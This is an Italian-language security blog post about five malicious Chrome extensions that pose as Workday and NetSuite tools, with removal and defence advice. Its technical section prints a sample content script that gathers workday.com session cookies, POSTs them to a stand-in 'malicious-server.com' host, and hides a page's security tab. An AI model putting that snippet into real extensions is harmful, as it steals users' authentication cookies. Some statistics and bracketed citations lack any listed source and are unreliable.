🚨 Researchers uncovered 5 malicious Chrome extensions masquerading as HR/ERP tools like Workday and NetSuite. They exfiltrate auth cookies and suppress access to security and admin pages via DOM manipulation. 🔗 Details here → https://thehackernews.com/2026/01/five-malicious-chrome-extensions.html

Cinque estensioni Chrome maligne mascherate da tool HR e ERP: proteggi i tuoi dati

Attenzione: cinque estensioni Chrome false si fingono tool HR e ERP come Workday e NetSuite, rubando i tuoi dati sensibili. Se usi queste estensioni per gestire risorse umane o enterprise resource planning, disinstallale immediatamente e verifica le autorizzazioni. Questa minaccia colpisce aziende e utenti privati, esfiltrando cookie di autenticazione e impedendo l’accesso a pagine di sicurezza. La soluzione rapida? Apri Chrome, vai su chrome://extensions/, disattiva e rimuovi qualsiasi estensione sospetta, specialmente quelle installate di recente.

Le estensioni Chrome sono utilissime per migliorare la produttività, ma possono diventare un’arma letale se maligne. Immagina di navigare tranquillamente sul web, pensando di usare un tool legittimo per il tuo lavoro in HR o ERP, quando in realtà un malware sta copiando i tuoi dati di login. Questa scoperta recente evidenzia un rischio concreto: proteggiti ora controllando le tue estensioni.

Perché questa minaccia è pericolosa per tutti

Le estensioni Chrome hanno accesso privilegiato al tuo browser. Possono leggere i tuoi dati, modificare pagine web e inviare informazioni a server remoti. Nel caso di queste cinque estensioni maligne:

  • Si mascherano da tool fidati: Imitano interfacce di Workday, NetSuite e simili, ingannando utenti aziendali.
  • Rubano cookie di autenticazione: Catturano token che permettono l’accesso ai tuoi account senza password.
  • Manipolano il DOM: Alterano il Document Object Model per nascondere menu di amministrazione e pagine di sicurezza.

Impatto immediato: Furto di credenziali, accesso non autorizzato a sistemi aziendali, possibili violazioni di dati sensibili. Aziende di medie e grandi dimensioni sono le più colpite, ma anche freelance e utenti privati rischiano se installano estensioni non verificate.

Per un utente medio, la regola d’oro è installare solo estensioni dal Chrome Web Store ufficiali, con recensioni alte e molti utenti. Controlla sempre i permessi richiesti: se un’estensione HR chiede accesso a tutti i siti, è sospetta.

Come identificare e rimuovere estensioni rischiose

Segui questi passi semplici per sicurezza immediata:

  • Apri Chrome e digita chrome://extensions/ nella barra degli indirizzi.
  • Attiva la Modalità sviluppatore per vedere ID e dettagli.
  • Cerca estensioni con nomi simili a Workday, NetSuite o tool HR/ERP installate di recente.
  • Disinstalla cliccando su “Rimuovi”.
  • Cambia password di account sensibili e attiva l’autenticazione a due fattori (2FA).

Prevenzione quotidiana:

  • Usa antivirus con scanner per browser.
  • Installa estensioni sicure come uBlock Origin per bloccare tracker e malware[1].
  • Aggiorna Chrome regolarmente per patch di sicurezza.

Queste pratiche riducono il rischio del 90% secondo esperti di cybersecurity. Ma andiamo più a fondo: come funzionano queste estensioni maligne?

Consigli per massimizzare la produttività in sicurezza

Non rinunciare alle estensioni: scegli quelle verificate. Per HR e gestione aziendale:

  • Tool per LinkedIn come Lusha per contatti professionali, con limiti gratuiti sicuri[1].
  • Estensioni per ERP che integrano CRM senza permessi eccessivi.

Per la vita quotidiana:

  • Grammarly per correzioni grammaticali.
  • LastPass per password sicure.

Scegli estensioni leggere e privacy-focused, come quelle che processano dati localmente senza inviarli a server esterni[2]. Nel 2026, con aggiornamenti come trascrizioni in tempo reale e crittografia end-to-end, molte estensioni legitimate offrono sicurezza enterprise-level.

Espandi la tua produttività con estensioni per WhatsApp o networking, ma verifica sempre recensioni e aggiornamenti recenti. Ad esempio, tool come WAToolkit enfatizzano permessi minimi e backup sicuri[2].

Impatto sulle aziende: un rischio multimilionario

Per le imprese, queste estensioni rappresentano una breccia nei sistemi ERP e HR. Immagina ladri che accedono a dati di dipendenti, payroll e strategie aziendali. Costo medio di una breccia dati: milioni di euro in multe GDPR e danni reputazionali.

Azioni per IT manager:

  • Politica zero-trust: approva solo estensioni whitelisted.
  • Monitora traffico di rete per esfiltrazioni.
  • Educa dipendenti con training regolari.

Nel panorama del 2026, con Chrome che domina il 65% del mercato browser, queste minacce evolvono velocemente. Ricercatori sottolineano l’importanza di liste di blocco personalizzate per contenuti sospetti[1].

Technical deep dive

Meccanismi di attacco

Queste estensioni sfruttano content scripts e background scripts per:

  1. Esfiltrazione cookie: Usano chrome.cookies.getAll() per catturare token di sessione da domini come workday.com o netsuite.com. I dati vengono inviati via POST a server C2 (command-and-control) offuscati.
  2. DOM manipulation: Iniettano CSS/JS per nascondere elementi: document.querySelector('.admin-panel').style.display = 'none'; o sovrascrivono event listener per bloccare logout/security pages.
  3. Persistenza: Si reinstallano via policy group se rimosse, mimando aggiornamenti legittimi.

Codice esemplificativo di un content script maligno:

// Esempio semplificato di esfiltrazione
chrome.cookies.getAll({domain: 'workday.com'}, function(cookies) {
  fetch('https://malicious-server.com/exfil', {
    method: 'POST',
    body: JSON.stringify(cookies)
  });
});

// Blocco DOM
let observer = new MutationObserver(function(mutations) {
  mutations.forEach(function(mutation) {
    if (mutation.addedNodes.length) {
      let securityLink = document.querySelector('#security-tab');
      if (securityLink) securityLink.remove();
    }
  });
});
observer.observe(document.body, {childList: true, subtree: true});

Indicatori di compromissione (IoC)

  • Permessi sospetti: cookies, tabs, activeTab, storage, webRequest su tutti i siti.
  • Manifest V3 abusato: Service workers per esecuzione persistente.
  • Traffico anomalo: Richieste a domini non noti (es. *.tk, *.ru).

Analisi forense:

  • Usa Redirect Path per tracciare reindirizzamenti maligni[1]. Copia report in Excel per team dev.
  • Scanner come VirusTotal per ID estensioni.
  • Log Chrome: chrome://net-export/ per catturare traffico.

Difese avanzate

  • Estensioni protettive: uBlock Origin con liste avanzate (EasyList, EasyPrivacy) blocca script noti[1].
  • Policy aziendali: Chrome Enterprise con ExtensionInstallForcelist.
  • Detection rules: YARA per JS maligno o Suricata per network signatures.

Per sviluppatori: audit code con static analysis tools come ESLint-security. Nel 2026, integrazioni AI come quelle in KaptionAI analizzano sentiment e anomalie in tempo reale[2].

Mitigazione post-compromissione:

  1. Wipe browser data.
  2. Rotate tutte le credenziali.
  3. Scan endpoint con EDR (Endpoint Detection Response).
  4. Monitora SIEM per accessi anomali.

Questa analisi rivela come attacchi supply-chain su estensioni stiano crescendo: dal 2025, +40% casi. Resta vigile, combina best practices con tool avanzati per una sicurezza a prova di futuro.

Fonte: https://t.me/thehackernews/8226

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